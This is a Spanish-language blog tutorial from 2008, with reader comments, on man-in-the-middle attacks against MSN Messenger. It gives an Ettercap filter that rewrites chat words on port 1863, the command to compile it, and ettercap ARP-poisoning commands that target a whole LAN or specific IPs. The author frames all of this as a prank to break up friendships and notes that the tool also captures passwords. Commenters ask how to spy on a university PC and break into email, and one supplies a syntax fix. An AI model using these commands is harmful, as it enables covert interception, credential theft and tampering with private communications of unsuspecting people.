Ataques Man in the Middle II
Diciembre 5th, 2008
Ha llegado la hora de poner en práctica los conceptos que vimos en el anterior artículo MitM, ha llegado el momento de causar terror en nuestra red
Ya comenté que los ataques MitM tienen multitud de aplicaciones, en este post os voy a enseñar una que permite romper relaciones, desbaratar amistades y crear desconfianza en cuestión de minutos… os voy a enseñar a modificar las conversaciones del messenger
Lo primero son las herramientas y para esta tarea no hay una mejor que Ettercap, utilidad compleja donde las haya pero increíblemente versátil y potente. La podemos obtener directamente de su web o a través de los gestores habituales (apt-get, yum, etc.). También necesitaremos un buen sniffer, yo suelo usar Wireshark.
Antes de empezar con el ataque tenemos que estudiar un poco nuestro objetivo, como lo que queremos es modificar las conversaciones del messenger, lo lógico sería estudiar el protocolo (MSNMS) antes de meternos en esta tarea. Afortunadamente y ya que sólo vamos a realizar un ataque muy simple, no necesitamos un conocimiento muy profundo. De todas formas, para los que estén interesados, la gente de hypothetic.org tiene una guía no oficial en donde se muestran y discuten todos los detalles del protocolo (desde aquí les doy las gracias por el curro que se han pegado, el msnspy no sería lo mismo sin ellos).
Para el caso que nos ocupa nos basta un vistazo superficial al protocolo, nos vale con poner a escuchar el wireshark y mantener un par de conversaciones. Pronto nos daremos cuenta que nuestro cliente messenger se conecta con un servidor externo. El puerto TCP en el que escucha por defecto ese servidor es el 1863. El protocolo usa un montón de tipo de mensajes diferentes, pero los paquetes que llevan las palabras que escribimos son los que comienzan con “MSG”. Con esta información es más que suficiente para este sencillo ataque.
Bien, hablemos ahora de nuestra herramienta estrella, Ettercap, que nos va a permitir colocarnos en medio de la conexión entre los dos extremos (servidor messenger y cliente) y, de forma muy sencilla, modificar aquellos paquetes que queramos. El tipo de modificación que vamos a emplear para este ataque tiene una limitación importante: sólo podremos cambiar palabras o frases por otras de la misma longitud. De todas formas, esto es más que suficiente para que montemos la de San Quintín.
Filtro para el Ettercap
La primera parte de nuestro trabajo será crear un filtro que indique al Ettercap que es lo que queremos que modifique. En la página de ayuda el Etterfilter (man etterfilter) tenemos toda la información necesaria para crear estos filtros. Aquí tenéis un ejemplo:
—
if (ip.proto == TCP && tcp.dst == 1863) {
if (search(DATA.data, “guapa”))
{
replace(”guapa”, “fea ”); #Fijaos que dejo espacios en blanco para hacer coincidir longitudes
msg(”Cambio: guapa -> fea\n”);
}
if (search(DATA.data, “Quiero”))
{
replace(”Quiero”, “Odio “); #Fijaos que dejo espacios en blanco para hacer coincidir longitudes
msg(”Cambio: Quiero -> Odio\n”);
}
}
—
Seguro que ya tenéis en mente algunos cambios más interesantes, ¿verdad?
Compilando el filtro
El siguiente paso es compilar el filtro. Esto es muy sencillo:
$ etterfilter filtro_prueba.txt -o filtro_msn.ef
Realizando el ataque MitM
Finalmente sólo nos queda llevar a cabo el ataque. Utilizaremos un envenemiento ARP para esta tarea, aunque si consultáis el manual del Ettercap (man ettercap) veréis que tiene muchos más disponibles (ya me he apuntado que tengo que escribir un post sobre las diferentes formas de colarse en medio de la conexión).
El comando sería tal como sigue (recordad que necesitamos privilegios de root):
# ettercap -Tq -M arp:remote -F filtro_msn.ef //
El flag -T le dice al Ettercap que se inicie con una interfaz solo texto. El -q es para que no salga ningún mensaje a parte de los que hemos colocado en el script (si quitáis esta opción el Ettercap os recompensará con todas las contraseñas que encuentre, muy útil).
-M arp:remote le indica el tipo de estrategia que debe seguir para situarse en medio de la conexión. En este caso le decimos que haga un envenenamiento ARP. Lo de remote significa que lo haga en los dos sentidos, me explico, en un envenenamiento ARP engañamos al cliente diciéndole que somos la pasarela, de esta forma todo lo que el cliente mande al exterior pasa a través de nuestra máquina. Sin embargo, lo que la pasarela envia al cliente no pasa por nosotros. Con la opción remote le decimos que también engañe a la pasarela, haciendole pensar que nosotros somos el cliente.
-F filtro_msn.ef carga y activa el filtro que hemos compilado
// Son los hosts sobre los que queremos realizar el ataque, en este caso, toda la red. El formato sería así [MAC]/[IP]/[Puertos]. Si quisieramos atacar sólamente dos equipos, podríamos hacerlo como sigue:
# ettercap -T -M arp:remote -F filter.ef /172.24.16.81/ /172.24.16.1/
Si lo hacemos de esta forma es importante no olvidar incluir al gateway entre los equipos objetivos. Una variante para varios equipos con IPs consecutivas sería:
# ettercap -T -M arp:remote -F filter.ef /172.24.16.1-90/
Pues ya tenemos el ataque funcionando, ahora ponemos a funcionar el msnspy y vemos como la gente se pelea. Lo mejor es que aunque descubran que lo que les llega a su interlocutor no es lo que mandaron, ni siquiera les pasará por la mente que alguien esté realizando un ataque de este tipo. Lo más probable es que lo achaquen a un virus o algo por el estilo… y es que ¿Quién podría imaginar que hay alguien en la oscuridad manipulando y cambiando sus palabras? Ridículo.
Por útlimo comentar que este post sólo pretende despertar vuestra curiosidad sobre este tipo de ataques y sobre una herramienta tan potente como Ettercap. Pensando un poco descubriréis que los usos que se le pueden dar son muchos y alguno de ellos reamente diabólicos. Así que ya sabéis, sed buenos y no hagáis nada que yo no haría xD
The Lord Of The (Token)Ring
(the fellowship of the packet)“One Ring to link them all, One Ring to ping them,
one Ring to bring them all and in the darkness sniff them.”– Del manual del Ettercap
Categorías: seguridad, tutoriales |

…
Si lo deseas, puedes hacer click para valorar este post en Bitacoras.com. Gracias….
Genial, creo que has despertado mi curiosidad por este tema (de nuevo).
Haber si tengo tiempo y puedo probarlo.
Me alegra mucho oír eso. Muchas gracias por el comentario
Muy interesante. Espero que sigas escribiendo más artículos tan esclarecedores como estos.
Gracias!
Intentaré seguir en la línea, es muy reconfortante leer un comentario en el que agradezcan un post
Por mi parte, pedirte a ti y a todos que no dejéis de comentar, cualquier feedback (bueno o malo) es siempre bien recibido.
Muy interesante el tema y muy claro en las explicaciones. Felicidades. Espero impaciente la 3ª parte, deseando que sea un ataque sobre protocolos seguros, como SSL en http, continuando con la genial herramienta Ettercap. Un saludo.
Gracias Mishki
Y sí, la tercera parte lo pienso enfocar a protocolos seguros, aunque aún no tengo claro si https o ssh. Tampoco sé si utilizar ettercap para ese tutorial, hay herramientas que son considerablemente más sencillas para aprender los conceptos básicos, que al fin y al cabo es lo que nos interesa.
[...] Man in the Middle - Modificar conversaciones de messengerwww.sendaoscura.com/tutoriales/ataques-man-in-the-middle-ii/ por pepitagrilla2 hace pocos segundos [...]
[...] Ataques Man In The Middle II [...]
Hola!
Llevo ya un tiempo buscando alguna forma de hacer man in the middle con el msn.
Soy usuario de Ubuntu, pero bastante novato. No se usar esta aplicación
He descargado y descomprimido el paquete, he instalado las librerías que me faltaban, pero cuando lo ejecuto no se que hacer.
Alguien ha escrito una guía o me podría llevar de la mano un poquito hasta que vea por donde van los tiros y pueda usarla yo mismo? Quiero ver las conversaciones en otro ordenador que está en una red diferente de la mía (osea, tendré que hacerlo a través de Internet). Conseguir la IP o lo que sea que haga falta no es un problema porqué tengo acceso a ese pc de vez en cuando.(Es el de la uni xD)
necesito saber como entrar a un correo o como saber la clave
augusto@Melissa:~/Escritorio$ etterfilter filtro_prueba.txt -o filtro_msn.ef
etterfilter NG-0.7.3 copyright 2001-2004 ALoR & NaGA
12 protocol tables loaded:
DECODED DATA udp tcp gre icmp ip arp wifi fddi tr eth
11 constants loaded:
VRRP OSPF GRE UDP TCP ICMP6 ICMP PPTP PPPoE IP ARP
Parsing source file ‘filtro_prueba.txt’
[filtro_prueba.txt:2]: syntax error, unexpected ’s’, expecting offset or function
alguna idea?
Muy bueno, mas tarde voy a poner en practica y voy a comentar.
Si no os compila, es por las comillas cambiarlas por estas ”
Y con eso solucionado.
Justo lo que buscaba, se agradece lo ilustrativo. ojalá sigas con posts así
saludos
Solo decir esto que es para niños juegos para que ser tan tonto del culo perdiendo tu tienpo con esta tonteria por que no miras de saltarte la seguridad de un banco con SSL aver si tienes tantos conozimientos de ingenieria inversa.
listillos
[...] (MitM Man in the Middle Attack) Posted November 9, 2009 By Nicolas Ardison Navegando encontre un post sobre como leer conversaciones de msn de otra persona en una LAN haciendo un ataque MitM (Man in [...]